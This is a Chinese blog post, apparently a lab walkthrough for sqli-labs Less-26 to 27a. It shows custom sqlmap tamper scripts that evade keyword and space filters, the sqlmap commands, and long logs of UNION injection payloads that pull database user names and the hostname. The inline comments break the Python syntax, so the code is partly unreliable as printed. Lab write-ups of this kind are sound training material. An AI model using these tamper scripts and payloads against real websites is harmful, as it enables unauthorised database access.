SQLMAP脚本-sql-labs-Less-26-27a

已于 2023-01-02 17:28:19 修改
阅读量1.3k 收藏 8
点赞数 2
文章标签： python 开发语言
于 2022-09-19 20:34:38 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_69844818/article/details/126922033
版权

testtest

sqli-labs (less-26 and less-26a)

dc5b8977ec274a1580225ab4037ed360.png

 观察后端代码

8b5c37606eb54090b2b62c634b49ed9c.png

发现空格，or，and以及注释符–和#都没了
or，and用双写，注释使用;%00
空格用%09; %0A; %0B; %0D; %20;

编写sqlmap脚本命名为air.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')

    Requirement:
        * MSSQL
        * MySQL

    Notes:
        * Useful to bypass several web application firewalls
    
    >>> tamper('1 AND 9227=9227')
    '1%23%0AAND%23%0A9227=9227'
    """

    payload= payload.lower()
    payload= payload.replace('or' , 'oorr') 将or替换为oorr
    payload= payload.replace('and' , 'anandd')将and替换为anandd
    payload=payload.replace('#',";%00") 将#替换为;%00
    retVal = ""

    if payload:
        for i in xrange(len(payload)):
            if payload[i].isspace(): 检测到空格
                retVal += "%0b" 替换为%0b 可以自己试试别的能不能用
            elif payload[i] == '#' or payload[i:i + 3] == '#': 
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal

test.py 用于打印payloads更好观察payload的改变

# sqlmap/tamper/escapequotes.py
 
from lib.core.enums import PRIORITY
 
__priority__ = PRIORITY.LOWEST
 
def dependencies():
    pass
 
def tamper(payload, **kwargs):
    print(payload) 打印payload
    return payload

执行命令 ./sqlmap.py -u "http://192.168.227.128/Less-26/?id=3" --technique=U  --users --tamper=tamper/air.py,test.py
--technique 指定注入方式
--tamper 使用脚本
--users 显示用户名

a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b84,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-5593'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b85,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-6736'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b86,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-8374'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b87,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-3304'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b88,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-4517'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b89,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-4869'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b90,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-7274'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b91,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-4829'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b92,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-8704'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b93,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-6012'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b94,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-4253'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b95,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-9915'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b96,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-5771'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b97,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-8983'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b98,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-2093'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b99,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-3862'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b100,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-4369'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b101,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-2212'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b102,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-9541'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b103,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-7175'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b104,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-6760'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b105,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-4589'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b106,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-6738'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b107,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-9742'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b108,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-2312'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b109,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-6153'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b110,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-1282'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b111,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
database management system users [4]:                                                                              
[*] 'root'@'127.0.0.1'
[*] 'root'@'2102cd85683f'
[*] 'root'@'::1'
[*] 'root'@'localhost'

可以看到payload已经替换好了 注入也成功了

less-26a

./sqlmap.py -u "http://192.168.227.128/Less-26a/?id=3" --technique=B --hostname --users --tamper=tamper/air.py,test.py
同样的脚本使用报错注入即可

less-27

89af37f0ebc448109192b01b4c21dce7.png

观察后端代码
fe88d706f47a40c984d607995efe48d9.png

发现比起less-26多了select union 大小写的过滤但是有规律的

更改Air.py代码

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import random
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')

    Requirement:
        * MSSQL
        * MySQL

    Notes:
        * Useful to bypass several web application firewalls
    
    >>> tamper('1 AND 9227=9227')
    '1%23%0AAND%23%0A9227=9227'
    """
增加此部分代码 随机给payload转换大小写即可
    payload2=""
    for i in range(len(payload)):
        asciinum= ord(payload[i])
        if asciinum <=122 and asciinum >=65 and (asciinum != 91,92,93,94,95,96) :
            payload3= int(random.uniform(1,3))
            if payload3 ==1:
                if asciinum <97:
                    payload2+=chr(asciinum+32)
                if asciinum >96:
                    payload2+=chr(asciinum-32)
            else:
                payload2+=payload[i]
        else:
            payload2+=payload[i]
    /*
    增加上方代码
     随机给payload转换大小写
    也可以直接用函数转换大小写，或者直接替换select直接绕过，这里提供一种思路
*/

    payload=payload2
    payload= payload.replace('or' , 'oorr')
    payload= payload.replace('and' , 'anandd')
    payload=payload.replace('#',";%00")
    



    retVal = ""

    if payload:
        for i in range(len(payload)):
            if payload[i].isspace():
                retVal += "%0b"
            elif payload[i] == '#' or payload[i:i + 3] == '#':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal

 ./sqlmap.py -u "http://192.168.0.101/sqli/Less-27?id=1" --technique=U --hostname --tamper=test.py,air.py

/usr/lib/python3/dist-packages/pkg_resources/__init__.py:116: PkgResourcesDeprecationWarning: unknown is an invalid version and will not be supported in a future release
  warnings.warn(
3
-4117'%0bUnioN%0ball%0bSelECt%0b54,concAt(0x71787A7871,(CaSE%0bWhEN%0b(DAtABAse()%0bliKe%0bSCHEmA())%0bTHEN%0b1%0belse%0b0%0bEnd),0x71706B7871),54;%00
[20:18:10] [WARNING] reflective value(s) found and filtering out
web application technology: PHP 5.6.9, Apache 2.4.39
back-end DBMS: MySQL unknown
[20:18:10] [INFO] fetching server hostname
hostname: '20211114-104317'

成功爆出

less-27a

继续使用上个脚本即可

小恐龙观铃
关注
  • 2
    点赞
  • 踩
  • 8
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
sqlmap脚本
03-08
sqlmap绕过安全狗脚本 源自github sqlmap绕过安全狗脚本 来源自github
tamper绕WAF详解
weixin_34112208的博客
06-16 851
0x00 背景 sqlmap中的tamper脚本来对目标进行更高效的攻击。 由于乌云知识库少了sqlmap-tamper 收集一下，方便学习。 根据sqlmap中的tamper脚本可以学习过绕过一些技巧。 我收集在找相关的案例作为可分析什么环境使用什么tamper脚本。 小学生毕业的我，着能偷偷说一下多做一些收集对吸收知识很快。 0x01 start 脚本名：apostrophem...
SQLmap绕过waf的脚本详解
一杯咖啡的渗透记忆
11-15 1921
使用方法--tamper xxx.py apostrophemask.py 用UTF-8全角字符替换单引号字符 apostrophenullencode.py 用非法双字节unicode字符替换单引号字符 appendnullbyte.py 在payload末尾添加空字符编码 base64encode.py 对给定的payload全部字符使用Base64编码 bet...
SQLMAP脚本-sql-labs-Less-41-45
m0_69844818的博客
01-06 132
首先忘记说unmagicquotes.py的写法了,真变成为了使用脚本而使用脚本了...
SQLMAP脚本-sql-labs-Less-30-34
m0_69844818的博客
01-04 408
和上一关一样先使用上一关的脚本跑一下发现跑不出来了,看一下后端代码按道理只是把单引号换成了双引号,sqlmap应该是会尝试双引号注入但我怎么跑都跑步出来,尝试在脚本里面手动替换双引号。
SQLmap--SQL注入渗透测试工具
04-18
SQLmap--SQL注入渗透测试工具 方便进行SQL注入的渗透测试，它可以自动化检测和利用SQL注入缺陷以及接管数据库服务器的过程。 它有一个强大的检测引擎，许多适合于终极渗透测试的小众特性和广泛的开关，从数据库指纹...
sqlmap-1.6.5-11_sqlmap-1.6.5-11
09-20
sqlmap-1.6.5-11 sql注入工具
sqlmap.py 脚本 sqlmap-master.zip
10-16
是sqlmap的脚本,解压后可直接运行 列几个基本命令 ./sqlmap.py –h //查看帮助信息 ./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” //get注入 ./sqlmap.py –u ...
sqlmap-1.4.5.zip
05-22
sqlmap-1.4.5，亲爱的朋友，SQLMAP是自动化的SQL注入和数据库接管工具，是开源的渗透测试工具，它能自动检测和利用SQL注入漏洞并接管数据库服务器。它配备了强大的检测引擎、最终渗透测试器的许多利基特性和广泛的...
iBATIS-SqlMaps-2_ja.pdf
06-08
iBATIS-SqlMaps-2_ja说明资料
sqlmap自动化脚本
03-27
自己用批处理写的一个sqlmap脚本，不用看手册输命令行了 大部分参数均可设置，也可以自己输入其他参数
sqlmap的一些脚本的使用，绕过滤的神器
11-26
sql注入神奇，搭配各种脚本，花式绕过滤，懂的人自然懂，哈哈，欢迎下载
sqli-labs/Less-26a
m0_71299382的博客
11-20 259
sqli-labs第二十六关a
sqlmap sqli less-1
记录笔记
04-11 579
python sqlmap.py -u “http://192.168.1.122/sqli/Less-1/?id=1” python sqlmap.py -u “http://192.168.1.122/sqli/Less-1/?id=1” -dbs python sqlmap.py -u “http://192.168.1.122/sqli/Less-1/?id=1” -D security -tablespython python sqlmap.py -u “http://192.168.1..
sqlmap过waf脚本及目录介绍
MzHeader的博客
05-22 1061
sqlmap 的源码学习笔记一之目录结构 0x00 前言 sqlmap 是一个开源的渗透测试工具，可以用来自动化的检测，利用SQL注入漏洞，获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项，包括获取数据库中存储的数据，访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。本文重点研究sqlmap的软件具体的目录结构，后续的文章也会从源码编写中，...
SQLMAP深入分析-使用篇（基础使用、进阶命令、tamper脚本）
热门推荐
Love&Share
12-29 1万+
文章目录使用篇基础命令进阶命令输出信息的详细程度目标指定连接时信息指定注入参数指定检测级别指定注入类型枚举信息用例指定数据包注入伪静态注入暴力破解文件操作执行命令UDF提权有状态带外连接：Meterpreter & friends访问 Windows 注册表常规选项Tamper脚本tamper 适用的数据库类型 & 版本自带tamper介绍代码分析攻防 学安全的都知道这个注入神器 Sqlmap，也正是这些神器的出现，我们逐渐变成了“脚本小子”，要想变成大佬，就要求不仅会用还会写，在面试中也.
sqlmap的高级使用-tamper脚本使用、os-shell原理等
weixin_46626737的博客
07-11 675
（10）concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例。（5）between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”，“BETWEEN # AND #”替换等于号“=（14）ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例。
Less-26
老司机开代码的博客
08-04 611
文章目录1. 题目分析2. 思路分析2.1 不用空格2.1.1 报错注入2.1.2 盲注2.2 使用特殊字符代替空格 1. 题目分析 这道题的坑算是比较多的了，我们来分析一下。 通过初步测试发现这个题目过滤的东西有点多，直接看源码 function blacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id);
【Python】Python中变量或者函数加下划线‘_‘的含义
最新发布
yangweipeng708的博客
05-14 678
理解这些约定可以帮助Python开发者编写更清晰、更Pythonic的代码，并理解其他Python代码中的命名习惯。）通常用来指示特定的编程约定或用法，这些约定主要关乎变量和函数的可访问性以及预期的使用范围。在Python中，变量或函数前面加一个下划线（
如何利用sqlmap--sql-shell
06-11
使用`--sql-shell`选项可以让你在目标数据库上执行任意的SQL语句。以下是使用`--sql-shell`选项的基本步骤： 1. 首先，使用SQLMap进行探测并确认数据库注入漏洞是否存在。可以使用以下命令进行探测： ``` sqlmap -u <target-URL> --dbs ``` 2. 确认存在注入漏洞之后，可以使用以下命令来获取数据库中的所有表： ``` sqlmap -u <target-URL> -D <database-name> --tables ``` 其中，`<database-name>`是你想要访问的数据库名称。 3. 根据需要选择你想要访问的表，并使用以下命令来获取表中的所有列： ``` sqlmap -u <target-URL> -D <database-name> -T <table-name> --columns ``` 其中，`<table-name>`是你想要访问的表名称。 4. 根据需要选择你想要访问的列，并使用以下命令来获取`--sql-shell`： ``` sqlmap -u <target-URL> -D <database-name> -T <table-name> -C <column-name> --sql-shell ``` 其中，`<column-name>`是你想要访问的列名称。 5. 输入`--sql-shell`后，你将进入SQL Shell命令行提示符，此时你可以输入任意的SQL命令，并按回车键执行。例如： ``` mysql> SELECT * FROM users WHERE username='admin'; ``` 这个命令将返回名为`users`的表中用户名为`admin`的行的所有数据。 请注意，这些命令只是SQLMap获取SQL Shell的基本用法。具体步骤取决于你想要访问的数据库和表。同时，需要强调的是，这种方法只适用于合法的授权情况下，任何未经授权的访问都是违法的。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值